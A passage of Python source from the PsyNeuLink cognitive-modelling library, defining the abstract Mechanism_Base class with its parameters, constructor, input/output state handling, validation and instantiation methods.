<Process_Mechanisms>`.\n\n systems : Dict[System, str]\n a dictionary of the `Systems <System>` to which the Mechanism belongs, that designates its `role\n <Mechanism_Role_In_Processes_And_Systems>` in each. The key of each entry is a System to which the Mechanism\n belongs, and its value is the Mechanism's `role in that System <System_Mechanisms>`.\n\n attributes_dict : Dict[keyword, value]\n a dictionary containing the attributes (and their current values) that can be used to specify the\n `variable <OutputState.variable>` of the Mechanism's `OutputState` (see `OutputState_Customization`).\n\n name : str\n the name of the Mechanism; if it is not specified in the **name** argument of the constructor, a default is\n assigned by MechanismRegistry (see `Naming` for conventions used for default and duplicate names).\n\n prefs : PreferenceSet or specification dict\n the `PreferenceSet` for the Mechanism; if it is not specified in the **prefs** argument of the\n constructor, a default is assigned using `classPreferences` defined in __init__.py (see :doc:`PreferenceSet\n <LINK>` for details).\n\n .. _stateRegistry : Registry\n registry containing dicts for each State type (InputState, OutputState and ParameterState) with instance\n dicts for the instances of each type and an instance count for each State type in the Mechanism.\n Note: registering instances of State types with the Mechanism (rather than in the StateRegistry)\n allows the same name to be used for instances of a State type belonging to different Mechanisms\n without adding index suffixes for that name across Mechanisms\n while still indexing multiple uses of the same base name within a Mechanism.\n \"\"\"\n\n # CLASS ATTRIBUTES\n componentCategory = kwMechanismComponentCategory\n className = componentCategory\n suffix = \" \" + className\n\n class Parameters(Mechanism.Parameters):\n \"\"\"\n Attributes\n ----------\n\n variable\n see `variable <Mechanism_Base.variable>`\n\n :default value: numpy.array([[0]])\n :type: numpy.ndarray\n :read only: True\n\n value\n see `value <Mechanism_Base.value>`\n\n :default value: numpy.array([[0]])\n :type: numpy.ndarray\n :read only: True\n\n function\n see `function <Mechanism_Base.function>`\n\n :default value: `Linear`\n :type: `Function`\n\n previous_value\n see `previous_value <Mechanism_Base.previous_value>`\n\n :default value: None\n :type:\n :read only: True\n\n \"\"\"\n variable = Parameter(np.array([[0]]), read_only=True)\n value = Parameter(np.array([[0]]), read_only=True)\n previous_value = Parameter(None, read_only=True)\n function = Linear\n\n input_state_variables = Parameter(None, read_only=True, user=False, getter=_input_state_variables_getter)\n\n registry = MechanismRegistry\n\n classPreferenceLevel = PreferenceLevel.CATEGORY\n # Any preferences specified below will override those specified in CategoryDefaultPreferences\n # Note: only need to specify setting; level will be assigned to CATEGORY automatically\n # classPreferences = {\n # kwPreferenceSetName: 'MechanismCustomClassPreferences',\n # kp<pref>: <setting>...}\n\n # Class-specific loggable items\n @property\n def _loggable_items(self):\n # States, afferent Projections are loggable for a Mechanism\n # - this allows the value of InputStates and OutputStates to be logged\n # - for MappingProjections, this logs the value of the Projection's matrix parameter\n # - for ModulatoryProjections, this logs the value of the Projection\n # IMPLEMENTATION NOTE: this needs to be a property as Projections may be added after instantiation\n try:\n # return list(self.states) + list(self.afferents)\n return list(self.states)\n except:\n return []\n\n #FIX: WHEN CALLED BY HIGHER LEVEL OBJECTS DURING INIT (e.g., PROCESS AND SYSTEM), SHOULD USE FULL Mechanism.execute\n # By default, init only the _execute method of Mechanism subclass objects when their execute method is called;\n # that is, DO NOT run the full Mechanism execute Process, since some components may not yet be instantiated\n # (such as OutputStates)\n initMethod = INIT_EXECUTE_METHOD_ONLY\n\n # Note: the following enforce encoding as 2D np.ndarrays,\n # to accomodate multiple States: one 1D np.ndarray per state\n variableEncodingDim = 2\n valueEncodingDim = 2\n\n stateListAttr = {InputState:INPUT_STATES,\n ParameterState:PARAMETER_STATES,\n OutputState:OUTPUT_STATES}\n\n # Category specific defaults:\n paramClassDefaults = Component.paramClassDefaults.copy()\n paramClassDefaults.update({\n INPUT_STATES:None,\n OUTPUT_STATES:None,\n MONITOR_FOR_CONTROL: NotImplemented, # This has to be here to \"register\" it as a valid param for the class\n # but is set to NotImplemented so that it is ignored if it is not\n # assigned; setting it to None actively disallows assignment\n # (see EVCControlMechanism_instantiate_input_states for more details)\n MONITOR_FOR_LEARNING: None,\n INPUT_LABELS_DICT: {},\n TARGET_LABELS_DICT: {},\n OUTPUT_LABELS_DICT: {}\n # TBI - kwMechanismExecutionSequenceTemplate: [\n # Components.States.InputState.InputState,\n # Components.States.ParameterState.ParameterState,\n # Components.States.OutputState.OutputState]\n })\n\n # def __new__(cls, *args, **kwargs):\n # def __new__(cls, name=NotImplemented, params=NotImplemented, context=None):\n\n @tc.typecheck\n def __init__(self,\n default_variable=None,\n size=None,\n input_states=None,\n output_states=None,\n params=None,\n name=None,\n prefs=None,\n context=None,\n function=None,\n ):\n \"\"\"Assign name, category-level preferences, and variable; register Mechanism; and enforce category methods\n\n This is an abstract class, and can only be called from a subclass;\n it must be called by the subclass with a context value\n\n NOTES:\n * Since Mechanism is a subclass of Component, it calls super.__init__\n to validate size and default_variable and param_defaults, and assign params to paramInstanceDefaults;\n it uses INPUT_STATE as the default_variable\n * registers Mechanism with MechanismRegistry\n\n \"\"\"\n\n # Forbid direct call to base class constructor\n if context is None or (context !=ContextFlags.CONSTRUCTOR and\n not self.context.initialization_status == ContextFlags.VALIDATING):\n raise MechanismError(\"Direct call to abstract class Mechanism() is not allowed; use a subclass\")\n\n # IMPLEMENT **kwargs (PER State)\n\n self._is_finished = False\n self.processes = ReadOnlyOrderedDict() # Note: use _add_process method to add item to processes property\n self.systems = ReadOnlyOrderedDict() # Note: use _add_system method to add item to systems property\n self.aux_components = []\n # Register with MechanismRegistry or create one\n if self.context.initialization_status != ContextFlags.VALIDATING:\n register_category(entry=self,\n base_class=Mechanism_Base,\n name=name,\n registry=MechanismRegistry,\n context=context)\n\n # Create Mechanism's _stateRegistry and state type entries\n from psyneulink.core.components.states.state import State_Base\n self._stateRegistry = {}\n\n # InputState\n from psyneulink.core.components.states.inputstate import InputState\n register_category(entry=InputState,\n base_class=State_Base,\n registry=self._stateRegistry,\n context=context)\n # ParameterState\n from psyneulink.core.components.states.parameterstate import ParameterState\n register_category(entry=ParameterState,\n base_class=State_Base,\n registry=self._stateRegistry,\n context=context)\n # OutputState\n from psyneulink.core.components.states.outputstate import OutputState\n register_category(entry=OutputState,\n base_class=State_Base,\n registry=self._stateRegistry,\n context=context)\n\n default_variable = self._handle_default_variable(default_variable, size, input_states, params)\n\n super(Mechanism_Base, self).__init__(default_variable=default_variable,\n size=size,\n function=function,\n param_defaults=params,\n prefs=prefs,\n name=name)\n\n # FIX: 10/3/17 - IS THIS CORRECT? SHOULD IT BE INITIALIZED??\n self._status = INITIALIZING\n self._receivesProcessInput = False\n self.phaseSpec = None\n\n # ------------------------------------------------------------------------------------------------------------------\n # Parsing methods\n # ------------------------------------------------------------------------------------------------------------------\n # ---------------------------------------------------------\n # Argument parsers\n # ---------------------------------------------------------\n\n def _parse_arg_variable(self, variable):\n if variable is None:\n return None\n\n return super()._parse_arg_variable(convert_to_np_array(variable, dimension=2))\n\n # ------------------------------------------------------------------------------------------------------------------\n # Handlers\n # ------------------------------------------------------------------------------------------------------------------\n\n def _handle_default_variable(self, default_variable=None, size=None, input_states=None, params=None):\n '''\n Finds whether default_variable can be determined using **default_variable** and **size**\n arguments.\n\n Returns\n -------\n a default variable if possible\n None otherwise\n '''\n default_variable_from_input_states = None\n\n # handle specifying through params dictionary\n try:\n default_variable_from_input_states, input_states_variable_was_specified = self._handle_arg_input_states(params[INPUT_STATES])\n\n # updated here in case it was parsed in _handle_arg_input_states\n params[INPUT_STATES] = self.input_states\n except (TypeError, KeyError):\n pass\n except AttributeError as e:\n if DEFER_VARIABLE_SPEC_TO_MECH_MSG in e.args[0]:\n pass\n\n if default_variable_from_input_states is None:\n # fallback to standard arg specification\n try:\n default_variable_from_input_states, input_states_variable_was_specified = self._handle_arg_input_states(input_states)\n except AttributeError as e:\n if DEFER_VARIABLE_SPEC_TO_MECH_MSG in e.args[0]:\n pass\n\n if default_variable_from_input_states is not None:\n if default_variable is None:\n if size is None:\n default_variable = default_variable_from_input_states\n else:\n if input_states_variable_was_specified:\n size_variable = self._handle_size(size, None)\n if iscompatible(size_variable, default_variable_from_input_states):\n default_variable = default_variable_from_input_states\n else:\n raise MechanismError(\n 'default variable determined from the specified input_states spec ({0}) '\n 'is not compatible with the default variable determined from size parameter ({1})'.\n format(default_variable_from_input_states, size_variable,\n )\n )\n else:\n # do not pass input_states variable as default_variable, fall back to size specification\n pass\n else:\n if input_states_variable_was_specified:\n if not iscompatible(self._parse_arg_variable(default_variable), default_variable_from_input_states):\n raise MechanismError(\n 'Default variable determined from the specified input_states spec ({0}) for {1} '\n 'is not compatible with its specified default variable ({2})'.format(\n default_variable_from_input_states, self.name, default_variable\n )\n )\n else:\n # do not pass input_states variable as default_variable, fall back to default_variable specification\n pass\n\n return super()._handle_default_variable(default_variable=default_variable, size=size)\n\n def _handle_arg_input_states(self, input_states):\n '''\n Takes user-inputted argument **input_states** and returns an defaults.variable-like\n object that it represents\n\n Returns\n -------\n A, B where\n A is an defaults.variable-like object\n B is True if **input_states** contained an explicit variable specification, False otherwise\n '''\n\n if input_states is None:\n return None, False\n\n default_variable_from_input_states = []\n input_state_variable_was_specified = None\n\n if not isinstance(input_states, list):\n input_states = [input_states]\n # KDM 6/28/18: you can't set to self.input_states because this triggers\n # a check for validation pref, but self.prefs does not exist yet so this fails\n self._input_states = input_states\n\n for i, s in enumerate(input_states):\n\n\n try:\n parsed_input_state_spec = _parse_state_spec(owner=self,\n state_type=InputState,\n state_spec=s,\n context='_handle_arg_input_states')\n except AttributeError as e:\n if DEFER_VARIABLE_SPEC_TO_MECH_MSG in e.args[0]:\n default_variable_from_input_states.append(InputState.defaults.variable)\n continue\n else:\n raise MechanismError(\"PROGRAM ERROR: Problem parsing {} specification ({}) for {}\".\n format(InputState.__name__, s, self.name))\n\n mech_variable_item = None\n\n if isinstance(parsed_input_state_spec, dict):\n try:\n mech_variable_item = parsed_input_state_spec[VALUE]\n if parsed_input_state_spec[VARIABLE] is None:\n input_state_variable_was_specified = False\n except KeyError:\n pass\n elif isinstance(parsed_input_state_spec, (Projection, Mechanism, State)):\n if parsed_input_state_spec.context.initialization_status == ContextFlags.DEFERRED_INIT:\n args = parsed_input_state_spec.init_args\n if REFERENCE_VALUE in args and args[REFERENCE_VALUE] is not None:\n mech_variable_item = args[REFERENCE_VALUE]\n elif VALUE in args and args[VALUE] is not None:\n mech_variable_item = args[VALUE]\n elif VARIABLE in args and args[VARIABLE] is not None:\n mech_variable_item = args[VARIABLE]\n else:\n try:\n mech_variable_item = parsed_input_state_spec.value\n except AttributeError:\n mech_variable_item = parsed_input_state_spec.defaults.mech_variable_item\n else:\n mech_variable_item = parsed_input_state_spec.defaults.mech_variable_item\n\n if mech_variable_item is None:\n mech_variable_item = InputState.defaults.variable\n elif input_state_variable_was_specified is None and not InputState._state_spec_allows_override_variable(s):\n input_state_variable_was_specified = True\n\n default_variable_from_input_states.append(mech_variable_item)\n\n return default_variable_from_input_states, input_state_variable_was_specified\n\n # ------------------------------------------------------------------------------------------------------------------\n # Validation methods\n # ------------------------------------------------------------------------------------------------------------------\n\n def _validate_variable(self, variable, context=None):\n \"\"\"Convert variable to 2D np.array: one 1D value for each InputState\n\n # VARIABLE SPECIFICATION: ENCODING:\n # Simple value variable: 0 -> [array([0])]\n # Single state array (vector) variable: [0, 1] -> [array([0, 1])\n # Multiple state variables, each with a single value variable: [[0], [0]] -> [array[0], array[0]]\n\n :param variable:\n :param context:\n :return:\n \"\"\"\n\n variable = super(Mechanism_Base, self)._validate_variable(variable, context)\n\n # Force Mechanism variable specification to be a 2D array (to accomodate multiple InputStates - see above):\n variable = convert_to_np_array(variable, 2)\n\n return variable\n\n def _filter_params(self, params):\n \"\"\"Add rather than override INPUT_STATES and/or OUTPUT_STATES\n\n Allows specification of INPUT_STATES or OUTPUT_STATES in params dictionary to be added to,\n rather than override those in paramClassDefaults (the default behavior)\n \"\"\"\n\n import copy\n\n # INPUT_STATES:\n\n # Check if input_states is in params (i.e., was specified in arg of constructor)\n if not INPUT_STATES in params or params[INPUT_STATES] is None:\n # If it wasn't, assign from paramClassDefaults (even if it is None) to force creation of input_states attrib\n if self.paramClassDefaults[INPUT_STATES] is not None:\n params[INPUT_STATES] = copy.deepcopy(self.paramClassDefaults[INPUT_STATES])\n else:\n params[INPUT_STATES] = None\n # Convert input_states_spec to list if it is not one\n if params[INPUT_STATES] is not None and not isinstance(params[INPUT_STATES], (list, dict)):\n params[INPUT_STATES] = [params[INPUT_STATES]]\n self.user_params.__additem__(INPUT_STATES, params[INPUT_STATES])\n\n # OUTPUT_STATES:\n\n # Check if OUTPUT_STATES is in params (i.e., was specified in arg of contructor)\n if not OUTPUT_STATES in params or params[OUTPUT_STATES] is None:\n if self.paramClassDefaults[OUTPUT_STATES] is not None:\n params[OUTPUT_STATES] = copy.deepcopy(self.paramClassDefaults[OUTPUT_STATES])\n else:\n params[OUTPUT_STATES] = None\n # Convert OUTPUT_STATES_spec to list if it is not one\n if params[OUTPUT_STATES] is not None and not isinstance(params[OUTPUT_STATES], (list, dict)):\n params[OUTPUT_STATES] = [params[OUTPUT_STATES]]\n self.user_params.__additem__(OUTPUT_STATES, params[OUTPUT_STATES])\n\n # try:\n # input_states_spec = params[INPUT_STATES]\n # except KeyError:\n # pass\n # else:\n # # Convert input_states_spec to list if it is not one\n # if not isinstance(input_states_spec, list):\n # input_states_spec = [input_states_spec]\n # # # Get input_states specified in paramClassDefaults\n # # if self.paramClassDefaults[INPUT_STATES] is not None:\n # # default_input_states = self.paramClassDefaults[INPUT_STATES].copy()\n # # else:\n # # default_input_states = None\n # # # Convert input_states from paramClassDefaults to a list if it is not one\n # # if default_input_states is not None and not isinstance(default_input_states, list):\n # # default_input_states = [default_input_states]\n # # # Add InputState specified in params to those in paramClassDefaults\n # # # Note: order is important here; new ones should be last, as paramClassDefaults defines the\n # # # the primary InputState which must remain first for the input_states ContentAddressableList\n # # default_input_states.extend(input_states_spec)\n # # # Assign full set back to params_arg\n # # params[INPUT_STATES] = default_input_states\n #\n # # Get inputStates specified in paramClassDefaults\n # if self.paramClassDefaults[INPUT_STATES] is not None:\n # default_input_states = self.paramClassDefaults[INPUT_STATES].copy()\n # # Convert inputStates from paramClassDefaults to a list if it is not one\n # if not isinstance(default_input_states, list):\n # default_input_states = [default_input_states]\n # # Add input_states specified in params to those in paramClassDefaults\n # # Note: order is important here; new ones should be last, as paramClassDefaults defines the\n # # the primary InputState which must remain first for the input_states ContentAddressableList\n # default_input_states.extend(input_states_spec)\n # # Assign full set back to params_arg\n # params[INPUT_STATES] = default_input_states\n\n # # OUTPUT_STATES:\n # try:\n # output_states_spec = params[OUTPUT_STATES]\n # except KeyError:\n # pass\n # else:\n # # Convert output_states_spec to list if it is not one\n # if not isinstance(output_states_spec, list):\n # output_states_spec = [output_states_spec]\n # # Get OutputStates specified in paramClassDefaults\n # default_output_states = self.paramClassDefaults[OUTPUT_STATES].copy()\n # # Convert OutputStates from paramClassDefaults to a list if it is not one\n # if not isinstance(default_output_states, list):\n # default_output_states = [default_output_states]\n # # Add output_states specified in params to those in paramClassDefaults\n # # Note: order is important here; new ones should be last, as paramClassDefaults defines the\n # # the primary OutputState which must remain first for the output_states ContentAddressableList\n # default_output_states.extend(output_states_spec)\n # # Assign full set back to params_arg\n # params[OUTPUT_STATES] = default_output_states\n\n def _validate_params(self, request_set, target_set=None, context=None):\n \"\"\"validate TimeScale, INPUT_STATES, FUNCTION_PARAMS, OUTPUT_STATES and MONITOR_FOR_CONTROL\n\n Go through target_set params (populated by Component._validate_params) and validate values for:\n + INPUT_STATES:\n <MechanismsInputState or Projection object or class,\n specification dict for one, 2-item tuple, or numeric value(s)>;\n if it is missing or not one of the above types, it is set to self.defaults.variable\n + FUNCTION_PARAMS: <dict>, every entry of which must be one of the following:\n ParameterState or Projection object or class, specification dict for one, 2-item tuple, or numeric\n value(s);\n if invalid, default (from paramInstanceDefaults or paramClassDefaults) is assigned\n + OUTPUT_STATES:\n <MechanismsOutputState object or class, specification dict, or numeric value(s);\n if it is missing or not one of the above types, it is set to None here;\n and then to default value of value (output of execute method) in instantiate_output_state\n (since execute method must be instantiated before self.defaults.value is known)\n if OUTPUT_STATES is a list or OrderedDict, it is passed along (to instantiate_output_states)\n if it is a OutputState class ref, object or specification dict, it is placed in a list\n + MONITORED_STATES:\n ** DOCUMENT\n\n Note: PARAMETER_STATES are validated separately -- ** DOCUMENT WHY\n\n TBI - Generalize to go through all params, reading from each its type (from a registry),\n and calling on corresponding subclass to get default values (if param not found)\n (as PROJECTION_TYPE and PROJECTION_SENDER are currently handled)\n \"\"\"\n\n from psyneulink.core.components.states.state import _parse_state_spec\n from psyneulink.core.components.states.inputstate import InputState\n\n # Perform first-pass validation in Function.__init__():\n # - returns full set of params based on subclass paramClassDefaults\n super(Mechanism, self)._validate_params(request_set,target_set,context)\n\n params = target_set\n\n # VALIDATE INPUT STATE(S)\n\n # INPUT_STATES is specified, so validate:\n if INPUT_STATES in params and params[INPUT_STATES] is not None:\n try:\n for state_spec in params[INPUT_STATES]:\n _parse_state_spec(owner=self, state_type=InputState, state_spec=state_spec)\n except AttributeError as e:\n if DEFER_VARIABLE_SPEC_TO_MECH_MSG in e.args[0]:\n pass\n # INPUT_STATES is not specified and call is from constructor (i.e., not assign_params):\n elif context & ContextFlags.CONSTRUCTOR:\n # - set to None, so it is set to default (self.defaults.variable) in instantiate_inputState\n # - warning (if in VERBOSE mode) will be issued in instantiate_inputState, where default value is known\n params[INPUT_STATES] = None\n\n # VALIDATE FUNCTION_PARAMS\n try:\n function_param_specs = params[FUNCTION_PARAMS]\n except KeyError:\n if context & (ContextFlags.COMMAND_LINE | ContextFlags.PROPERTY):\n pass\n elif self.prefs.verbosePref:\n print(\"No params specified for {0}\".format(self.__class__.__name__))\n else:\n if not (isinstance(function_param_specs, dict)):\n raise MechanismError(\"{0} in {1} must be a dict of param specifications\".\n format(FUNCTION_PARAMS, self.__class__.__name__))\n # Validate params\n\n from psyneulink.core.components.states.parameterstate import ParameterState\n for param_name, param_value in function_param_specs.items():\n try:\n self.defaults.value = self.paramInstanceDefaults[FUNCTION_PARAMS][param_name]\n except KeyError:\n raise MechanismError(\"{0} not recognized as a param of execute method for {1}\".\n format(param_name, self.__class__.__name__))\n if not ((isclass(param_value) and\n (issubclass(param_value, ParameterState) or\n issubclass(param_value, Projection))) or\n isinstance(param_value, ParameterState) or\n isinstance(param_value, Projection) or\n isinstance(param_value, dict) or\n iscompatible(param_value, self.defaults.value)):\n params[FUNCTION_PARAMS][param_name] = self.defaults.value\n if self.prefs.verbosePref:\n print(\"{0} param ({1}) for execute method {2} of {3} is not a ParameterState, \"\n \"projection, tuple, or value; default value ({4}) will be used\".\n format(param_name,\n param_value,\n self.execute.__self__.componentName,\n self.__class__.__name__,\n self.defaults.value))\n\n # VALIDATE OUTPUT STATE(S)\n\n # OUTPUT_STATES is specified, so validate:\n if OUTPUT_STATES in params and params[OUTPUT_STATES] is not None:\n\n param_value = params[OUTPUT_STATES]\n\n # If it is a single item or a non-OrderedDict, place in list (for use here and in instantiate_output_state)\n if not isinstance(param_value, (ContentAddressableList, list, OrderedDict)):\n param_value = [param_value]\n # Validate each item in the list or OrderedDict\n i = 0\n for key, item in param_value if isinstance(param_value, dict) else enumerate(param_value):\n from psyneulink.core.components.states.outputstate import OutputState\n # If not valid...\n if not ((isclass(item) and issubclass(item, OutputState)) or # OutputState class ref\n isinstance(item, OutputState) or # OutputState object\n isinstance(item, dict) or # OutputState specification dict\n isinstance(item, str) or # Name (to be used as key in OutputStates list)\n isinstance(item, tuple) or # Projection specification tuple\n _is_modulatory_spec(item) or # Modulatory specification for the OutputState\n iscompatible(item, **{kwCompatibilityNumeric: True})): # value\n # set to None, so it is set to default (self.value) in instantiate_output_state\n param_value[key] = None\n if self.prefs.verbosePref:\n print(\"Item {0} of {1} param ({2}) in {3} is not a\"\n \" OutputState, specification dict or value, nor a list of dict of them; \"\n \"output ({4}) of execute method for {5} will be used\"\n \" to create a default OutputState for {3}\".\n format(i,\n OUTPUT_STATES,\n param_value,\n self.__class__.__name__,\n self.value,\n self.execute.__self__.name))\n i += 1\n params[OUTPUT_STATES] = param_value\n\n # OUTPUT_STATES is not specified and call is from construct (i.e., not assign_params)\n elif context & ContextFlags.CONSTRUCTOR:\n # - set to None, so that it is set to default (self.value) in instantiate_output_state\n # - warning (if in VERBOSE mode) will be issued in instantiate_inputState, where default value is known\n # - number of OutputStates is validated against length of owner Mechanism's execute method output (EMO)\n # in instantiate_output_state, where an OutputState is assigned to each item (value) of the EMO\n params[OUTPUT_STATES] = None\n\n def validate_labels_dict(lablel_dict, type):\n for label, value in labels_dict.items():\n if not isinstance(label,str):\n raise MechanismError(\"Key ({}) in the {} for {} must be a string\".\n format(label, type, self.name))\n if not isinstance(value,(list, np.ndarray)):\n raise MechanismError(\"The value of {} ({}) in the {} for {} must be a list or array\".\n format(label, value, type, self.name))\n def validate_subdict_key(state_type, key, dict_type):\n # IMPLEMENTATION NOTE:\n # can't yet validate that string is a legit InputState name or that index is within\n # bounds of the number of InputStates; that is done in _get_state_value_labels()\n if not isinstance(key, (int, str)):\n raise MechanismError(\"Key ({}) for {} of {} must the name of an {} or the index for one\".\n format(key, dict_type, self.name, state_type.__name__))\n\n if INPUT_LABELS_DICT in params and params[INPUT_LABELS_DICT]:\n labels_dict = params[INPUT_LABELS_DICT]\n if isinstance(list(labels_dict.values())[0], dict):\n for key, ld in labels_dict.values():\n validate_subdict_key(InputState, key, INPUT_LABELS_DICT)\n validate_labels_dict(ld, INPUT_LABELS_DICT)\n else:\n validate_labels_dict(labels_dict, INPUT_LABELS_DICT)\n\n if OUTPUT_LABELS_DICT in params and params[OUTPUT_LABELS_DICT]:\n labels_dict = params[OUTPUT_LABELS_DICT]\n if isinstance(list(labels_dict.values())[0], dict):\n for key, ld in labels_dict.values():\n validate_subdict_key(OutputState, key, OUTPUT_LABELS_DICT)\n validate_labels_dict(ld, OUTPUT_LABELS_DICT)\n else:\n validate_labels_dict(labels_dict, OUTPUT_LABELS_DICT)\n\n if TARGET_LABELS_DICT in params and params[TARGET_LABELS_DICT]:\n for label, value in params[TARGET_LABELS_DICT].items():\n if not isinstance(label,str):\n raise MechanismError(\"Key ({}) in the {} for {} must be a string\".\n format(label, TARGET_LABELS_DICT, self.name))\n if not isinstance(value,(list, np.ndarray)):\n raise MechanismError(\"The value of {} ({}) in the {} for {} must be a list or array\".\n format(label, value, TARGET_LABELS_DICT, self.name))\n\n def _validate_inputs(self, inputs=None):\n # Only ProcessingMechanism supports run() method of Function; ControlMechanism and LearningMechanism do not\n raise MechanismError(\"{} does not support run() method\".format(self.__class__.__name__))\n\n def _instantiate_attributes_before_function(self, function=None, context=None):\n self.parameters.previous_value.set(None, override=True)\n self._instantiate_input_states(context=context)\n self._instantiate_parameter_states(function=function, context=context)\n super()._instantiate_attributes_before_function(function=function, context=context)\n\n # Assign attributes to be included in attributes_dict\n # keys are keywords exposed to user for assignment\n # values are names of corresponding attributes\n self.attributes_dict_entries = dict(OWNER_VARIABLE = VARIABLE,\n OWNER_VALUE = VALUE,\n EXECUTION_COUNT = CURRENT_EXECUTION_COUNT,\n EXECUTION_TIME = CURRENT_EXECUTION_TIME)\n if hasattr(self, PREVIOUS_VALUE):\n self.attributes_dict_entries.update({'PREVIOUS_VALUE': PREVIOUS_VALUE})\n\n def _instantiate_function(self, function, function_params=None, context=None):\n \"\"\"Assign weights and exponents if specified in input_states\n \"\"\"\n\n super()._instantiate_function(function=function, function_params=function_params, context=context)\n\n if self.input_states and any(input_state.weight is not None for input_state in self.input_states):\n\n # Construct defaults:\n # from function.weights if specified else 1's\n try:\n default_weights = self.function.weights\n except AttributeError:\n default_weights = None\n if default_weights is None:\n default_weights = default_weights or [1.0] * len(self.input_states)\n\n # Assign any weights specified in input_state spec\n weights = [[input_state.weight if input_state.weight is not None else default_weight]\n for input_state, default_weight in zip(self.input_states, default_weights)]\n self.function._weights = weights\n\n if self.input_states and any(input_state.exponent is not None for input_state in self.input_states):\n\n # Construct defaults:\n # from function.weights if specified else 1's\n try:\n default_exponents = self.function.exponents\n except AttributeError:\n default_exponents = None\n if default_exponents is None:\n default_exponents = default_exponents or [1.0] * len(self.input_states)\n\n # Assign any exponents specified in input_state spec\n exponents = [[input_state.exponent if input_state.exponent is not None else default_exponent]\n for input_state, default_exponent in zip(self.input_states, default_exponents)]\n self.function._exponents = exponents\n\n # this may be removed when the restriction making all Mechanism values 2D np arrays is lifted\n # ignore warnings of certain Functions that disable conversion\n with warnings.catch_warnings():\n warnings.simplefilter(action='ignore', category=UserWarning)\n self.function.output_type = FunctionOutputType.NP_2D_ARRAY\n self.function.enable_output_type_conversion = True\n self.function._instantiate_value(context)\n\n def _instantiate_attributes_after_function(self, context=None):\n from psyneulink.core.components.states.parameterstate import _instantiate_parameter_state\n\n self._instantiate_output_states(context=context)\n # instantiate parameter states from UDF custom parameters if necessary\n try:\n cfp = self.function.cust_fct_params\n udf_parameters_lacking_states = {param_name: cfp[param_name] for param_name in cfp if param_name not in self.parameter_states.names}\n\n _instantiate_parameter_state(self, FUNCTION_PARAMS, udf_parameters_lacking_states, context=context, function=self.function)\n self._parse_param_state_sources()\n except AttributeError:\n pass\n\n super()._instantiate_attributes_after_function(context=context)\n\n def _instantiate_input_states(self, input_states=None, reference_value=None, context=None):\n \"\"\"Call State._instantiate_input_states to instantiate orderedDict of InputState(s)\n\n This is a stub, implemented to allow Mechanism subclasses to override _instantiate_input_states\n or process InputStates before and/or after call to _instantiate_input_states\n \"\"\"\n from psyneulink.core.components.states.inputstate import _instantiate_input_states\n return _instantiate_input_states(owner=self,\n input_states=input_states or self.input_states,\n reference_value=reference_value,\n context=context)\n\n def _instantiate_parameter_states(self, function=None, context=None):\n \"\"\"Call State._instantiate_parameter_states to instantiate a ParameterState for each parameter in user_params\n\n This is a stub, implemented to allow Mechanism subclasses to override _instantiate_parameter_states\n or process InputStates before and/or after call to _instantiate_parameter_states\n :param function:\n \"\"\"\n from psyneulink.core.components.states.parameterstate import _instantiate_parameter_states\n _instantiate_parameter_states(owner=self, function=function, context=context)\n\n def _instantiate_output_states(self, context=None):\n \"\"\"Call State._instantiate_output_states to instantiate orderedDict of OutputState(s)\n\n This is a stub, implemented to allow Mechanism subclasses to override _instantiate_output_states\n or process InputStates before and/or after call to _instantiate_output_states\n \"\"\"\n from psyneulink.core.components.states.outputstate import _instantiate_output_states\n # self._update_parameter_states(context=context)\n self._update_attribs_dicts(context=context)\n _instantiate_output_states(owner=self, output_states=self.output_states, context=context)\n\n def _add_projection_to_mechanism(self, state, projection, context=None):\n from psyneulink.core.components.projections.projection import _add_projection_to\n _add_projection_to(receiver=self, state=state, projection_spec=projection, context=context)\n\n def _add_projection_from_mechanism(self, receiver, state, projection, context=None):\n \"\"\"Add projection to specified state\n \"\"\"\n from psyneulink.core.components.projections.projection import _add_projection_from\n _add_projection_from(sender=self, state=state, projection_spec=projection, receiver=receiver, context=context)\n\n def _projection_added(self, projection, context=None):\n '''Stub that can be overidden by subclasses that need to know when a projection is added to the Mechanism'''\n pass\n\n def reinitialize(self, *args, execution_context=None):\n \"\"\"\n If the mechanism's `function <Mechanism.function>` is an `IntegratorFunction`, or if the mechanism has and\n `integrator_function <TransferMechanism.integrator_function>` (see `TransferMechanism`), this method\n effectively begins the function's accumulation over again at the specified value, and updates related\n attributes on the mechanism. It also reassigns `previous_value <Mechanism.previous_value>` to None.\n\n If the mechanism's `function <Mechanism_Base.function>` is an `IntegratorFunction`, its `reinitialize\n <Mechanism_Base.reinitialize>` method:\n\n (1) Calls the function's own `reinitialize <IntegratorFunction.reinitialize>` method (see Note below for\n details)\n\n (2) Sets the mechanism's `value <Mechanism_Base.value>` to the output of the function's\n reinitialize method\n\n (3) Updates its `output states <Mechanism_Base.output_state>` based on its new `value\n <Mechanism_Base.value>`\n\n If the mechanism has an `integrator_function <TransferMechanism.integrator_function>`, its `reinitialize\n <Mechanism_Base.reinitialize>` method::\n\n (1) Calls the `integrator_function's <TransferMechanism.integrator_function>` own `reinitialize\n <IntegratorFunction.reinitialize>` method (see Note below for details)\n\n (2) Executes its `function <Mechanism_Base.function>` using the output of the `integrator_function's\n <TransferMechanism.integrator_function>` `reinitialize <IntegratorFunction.reinitialize>` method as the\n function's variable\n\n (3) Sets the mechanism's `value <Mechanism_Base.value>` to the output of its function\n\n (4) Updates its `output states <Mechanism_Base.output_state>` based on its new `value\n <Mechanism_Base.value>`\n\n .. note::\n The reinitialize method of an IntegratorFunction Function typically resets the function's `previous_value\n <IntegratorFunction.previous_value>` (and any other `stateful_attributes <IntegratorFunction.stateful_attributes>`) and\n `value <IntegratorFunction.value>` to the quantity (or quantities) specified. If `reinitialize\n <Mechanism_Base.reinitialize>` is called without arguments, the `initializer <IntegratorFunction.initializer>`\n value (or the values of each of the attributes in `initializers <IntegratorFunction.initializers>`) is used\n instead. The `reinitialize <IntegratorFunction.reinitialize>` method may vary across different Integrators.\n See individual functions for details on their `stateful_attributes <IntegratorFunction.stateful_attributes>`,\n as well as other reinitialization steps that the reinitialize method may carry out.\n \"\"\"\n from psyneulink.core.components.functions.statefulfunctions.statefulfunction import StatefulFunction\n from psyneulink.core.components.functions.statefulfunctions.integratorfunctions import IntegratorFunction\n\n # If the primary function of the mechanism is stateful:\n # (1) reinitialize it, (2) update value, (3) update output states\n if isinstance(self.function, StatefulFunction):\n new_value = self.function.reinitialize(*args, execution_context=execution_context)\n self.parameters.value.set(np.atleast_2d(new_value), execution_context=execution_context, override=True)\n self._update_output_states(execution_id=parse_execution_context(execution_context),\n context=\"REINITIALIZING\")\n\n # If the mechanism has an auxiliary integrator function:\n # (1) reinitialize it, (2) run the primary function with the new \"previous_value\" as input\n # (3) update value, (4) update output states\n elif hasattr(self, 